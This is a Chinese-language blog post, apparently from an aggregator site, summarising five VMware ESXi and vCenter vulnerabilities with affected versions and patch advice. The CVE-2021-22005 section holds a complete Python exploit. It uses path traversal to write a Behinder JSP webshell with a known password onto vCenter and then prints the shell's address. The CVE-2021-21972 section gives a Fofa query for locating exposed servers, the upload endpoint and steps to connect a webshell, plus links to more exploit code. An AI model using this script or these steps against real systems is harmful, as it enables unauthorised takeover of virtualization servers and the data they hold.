VMware vcenter/ESXI系列漏洞总结

文章目录

  • 前言
  • 漏洞一、VMware ESXI 远程代码执行漏洞(CVE-2020-3992)
  • 漏洞二、VMware ESXI身份验证和拒绝服务漏洞
    • 1、 VMware ESXi SFCB身份验证绕过漏洞(CVE-2021-21994)
    • 2、VMware ESXi OpenSLP拒绝服务漏洞(CVE-2021-21995)
  • 漏洞三、VMware vCenter Server 任意文件上传漏洞复现(CVE-2021-22005)
  • 漏洞四、VMware VCenter未授权任意文件上传漏洞(CVE-2021-21972)
  • 漏洞五、VMware vCenter Server远程代码执行漏洞(CVE-2021-21985)
  • 相关链接


前言

本文章主要对VMware ESXI、VMware VCenter系列进行漏洞整理,更多内容后续补充!


漏洞一、VMware ESXI 远程代码执行漏洞(CVE-2020-3992)

漏洞概述:
漏洞来源于ESXi中使用的OpenSLP存在“use-after-free”释放后重利用问题,当攻击者在管理网络(management network)中时,可以通过访问ESXi宿主机的427端口触发OpenSLP服务的user-after-free,从而导致远程代码执行。
VMware vcenter/ESXI系列漏洞总结_第1张图片
影响范围

受影响产品版本

•	ESXi = 6.5
•	ESXi = 6.7
•	ESXi = 7.0
•	VMware Cloud Foundation (ESXi) = 3.X
•	VMware Cloud Foundation (ESXi) = 4.X

不受影响产品版本

•	ESXi650-202010401-SG
•	ESXi670-202010401-SG
•	ESXi_7.0.1-0.0.16850804
•	VMware Cloud Foundation (ESXi) = 3.10.1.1
•	VMware Cloud Foundation (ESXi) = 4.1

漏洞防护
VMware vcenter/ESXI系列漏洞总结_第2张图片

漏洞二、VMware ESXI身份验证和拒绝服务漏洞

漏洞概述:

VMware ESXi中存在身份验证绕过漏洞(CVE-2021-21994)和拒绝服务漏洞(CVE-2021-21995),攻击者可利用这两个漏洞绕过身份验证和发起拒绝服务攻击。

1、 VMware ESXi SFCB身份验证绕过漏洞(CVE-2021-21994)

由于ESXi中使用的SFCB(Small Footprint CIM Broker)存在身份验证绕过漏洞,具有5989端口访问权限的攻击者可以利用该漏洞发送恶意请求来绕过SFCB身份验证。(注:在默认情况下,ESXi上未启用SFCB服务)

2、VMware ESXi OpenSLP拒绝服务漏洞(CVE-2021-21995)

由于堆越界读取问题,ESXi中使用的OpenSLP存在拒绝服务漏洞。具有427端口访问权限的攻击者可以在OpenSLP服务中触发堆越界读取,从而导致拒绝服务。

影响范围

VMware ESXi 7.0
VMware ESXi 6.7
VMware ESXi 6.5
VMware Cloud Foundation (ESXi) 4.x
VMware Cloud Foundation (ESXi) 3.x

漏洞防护

目前官方已发布安全版本,建议受影响用户及时下载相应补丁包进行防护:

1、CVE-2021-21994:
https://kb.vmware.com/s/article/1025757

2、CVE-2021-21995:
https://kb.vmware.com/s/article/76372

漏洞三、VMware vCenter Server 任意文件上传漏洞复现(CVE-2021-22005)

VMware vcenter/ESXI系列漏洞总结_第3张图片
漏洞概述

在CVE-2021-22005中,攻击者可构造恶意请求,通过vCenter中的Analytics服务,可上传恶意文件,从而造成远程代码执行漏洞。

影响范围

VMware vCenter Server 7.0系列 < 7.0 U2c
VMware vCenter Server 6.7系列 < 6.7 U3o
VMware vCenter Server 6.5系列 不受漏洞影响

安全版本

VMware vCenter Server 7.0 U2c
VMware vCenter Server 6.7 U3o

利用脚本

import requests
import random
import string
import sys
import time
import requests
import urllib3
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
 
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
 return ''.join(random.choice(chars) for _ in range(size))
  
def escape(_str):
 _str = _str.replace("&", "&")
 _str = _str.replace("<", "<")
 _str = _str.replace(">", ">")
 _str = _str.replace("\"", """)
 return _str
  
def str_to_escaped_unicode(arg_str):
 escaped_str = ''
 for s in arg_str:
   val = ord(s)
   esc_uni = "\\u{:04x}".format(val)
   escaped_str += esc_uni
 return escaped_str
 
 
def createAgent(target, agent_name, log_param):
 
  
 url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (target, agent_name, log_param)
 headers = { "Cache-Control": "max-age=0", 
       "Upgrade-Insecure-Requests": "1", 
       "User-Agent": "Mozilla/5.0", 
       "X-Deployment-Secret": "abc", 
       "Content-Type": "application/json", 
       "Connection": "close" }
       
 json_data = { "manifestSpec":{}, 
        "objectType": "a2",
        "collectionTriggerDataNeeded": True,
        "deploymentDataNeeded":True, 
        "resultNeeded": True, 
        "signalCollectionCompleted":True, 
        "localManifestPath": "a7",
        "localPayloadPath": "a8",
        "localObfuscationMapPath": "a9" }
         
 requests.post(url, headers=headers, json=json_data, verify=False)
  
 
def generate_manifest(webshell_location, webshell):
 
 manifestData = """
   
    
      
       ServiceInstance
      
      
       content.about.instanceUuid
       content.about.osType
       content.about.build
       content.about.version
      
    
   
   
    
      
       
         vir:VCenter
         
                      
            
             ServiceInstance
            
            
            
          
         
       
      
    
   
   
    
      
       vir:VCenter
      
    
   
 """ % (webshell_location, webshell)
  
 return manifestData
 
def arg():
 parser = argparse.ArgumentParser()
 parser.add_argument("-t", "--target", help = "Target", required = True)
 args = parser.parse_args()
 target = args.target
 print("[*] Target: %s" % target)
 return target
 
def exec():
 target = arg()
 # Variables
 webshell_param = id_generator(6)
 log_param = id_generator(6)
 agent_name = id_generator(6)
 shell_name = "Server.jsp"
 webshell = """<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>"""
 
 webshell_location = "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % shell_name
 webshell = str_to_escaped_unicode(webshell)
 manifestData = generate_manifest(webshell_location,webshell)
 print("[*] Creating Agent")
 createAgent(target, agent_name, log_param)
 url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (target, agent_name, log_param)
 headers = {"Cache-Control": "max-age=0", 
          "Upgrade-Insecure-Requests": "1", 
          "User-Agent": "Mozilla/5.0", 
          "X-Deployment-Secret": "abc", 
          "Content-Type": "application/json", 
          "Connection": "close"}
 json_data ={"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"}
 requests.post(url, headers=headers, json=json_data, verify=False)
 #webshell连接地址
 url = "%s/idm/..;/%s" % (target, shell_name)
 code = requests.get(url=url, headers=headers,verify=False).status_code
 if code != "404":
   print("webshell地址: %s" % url)
   print("[*]冰蝎3.0 Webshell连接密码: rebeyond" )
 
 else:
   print("未获取到webshell地址")
 
 
if __name__ == '__main__':
 exec()

漏洞四、VMware VCenter未授权任意文件上传漏洞(CVE-2021-21972)

VMware vcenter/ESXI系列漏洞总结_第4张图片
漏洞描述:

CVE-2021-21972 vmware vcenter的一个未授权的命令执行漏洞。该漏洞可以上传一个webshell至vcenter服务器的任意位置,然后执行webshell即可。

影响版本

VMware vCenter Server 7.0系列 < 7.0.U1c 

VMware vCenter Server 6.7系列 < 6.7.U3l 

VMware vCenter Server 6.5系列 < 6.5 U3n 

VMware ESXi 7.0系列 < ESXi70U1c-17325551 

VMware ESXi 6.7系列 < ESXi670-202102401-SG 

VMware ESXi 6.5系列 < ESXi650-202102101-SG 测试通过版本

VMware-VCSA-all-6.7.0-8217866 

VMware-VIM-all-6.7.0-8217866 2021-02-24

Fofa查询

Fofa语法-> title=“+ ID_VC_Welcome +”

Poc -> https://x.x.x.x/ui/vropspluginui/rest/services/uploadova
VMware vcenter/ESXI系列漏洞总结_第5张图片
如果404401,则代表不存在漏洞,如果405200,则代表可能存在漏洞

利用方式

使用 Tabbed Postman - REST Client 工具 POST请求上传shell文件 也可使用 postman #注:返回状态码200 SUCCESS即上传成功。
VMware vcenter/ESXI系列漏洞总结_第6张图片
VMware vcenter/ESXI系列漏洞总结_第7张图片
使用冰蝎3.0连接shell 即可! 连接地址:x.x.x.x/ui/resources/shell.jsp、密码3.0默认。

脚本如下

https://github.com/horizon3ai/CVE-2021-21972
https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/

修复建议

vCenter Server7.0版本升级到7.0.U1c
vCenter Server6.7版本升级到6.7.U3l
vCenter Server6.5版本升级到6.5 U3n

漏洞五、VMware vCenter Server远程代码执行漏洞(CVE-2021-21985)

VMware vcenter/ESXI系列漏洞总结_第8张图片
漏洞概述:

该漏洞由于vCenter Server默认启用的插件Virtual SAN Health Check缺少输入验证导致的。能通过443端口访问到vSphere Client(HTML5)的攻击者,可以构造特殊的请求包在目标机器上执行任意代码。

影响版本

VMware vCenter Server 7.0系列 < 7.0.U2b
VMware vCenter Server 6.7系列 < 6.7.U3n
VMware vCenter Server 6.5系列 < 6.5 U3p
VMware Cloud Foundation 4.x 系列 < 4.2.1
VMware Cloud Foundation 4.x 系列 < 3.10.2.1

利用脚本

https://github.com/r0ckysec/CVE-2021-21985
https://github.com/xnianq/cve-2021-21985_exp

VMware vcenter/ESXI系列漏洞总结_第9张图片

相关链接

Vcenter实战利用方式可详情右侧文章链接:https://mp.weixin.qq.com/s/PpH8obumyMYQi95cQLqOSw

你可能感兴趣的:(经验知识总结,VMware,ESXI,VMware,vCenter)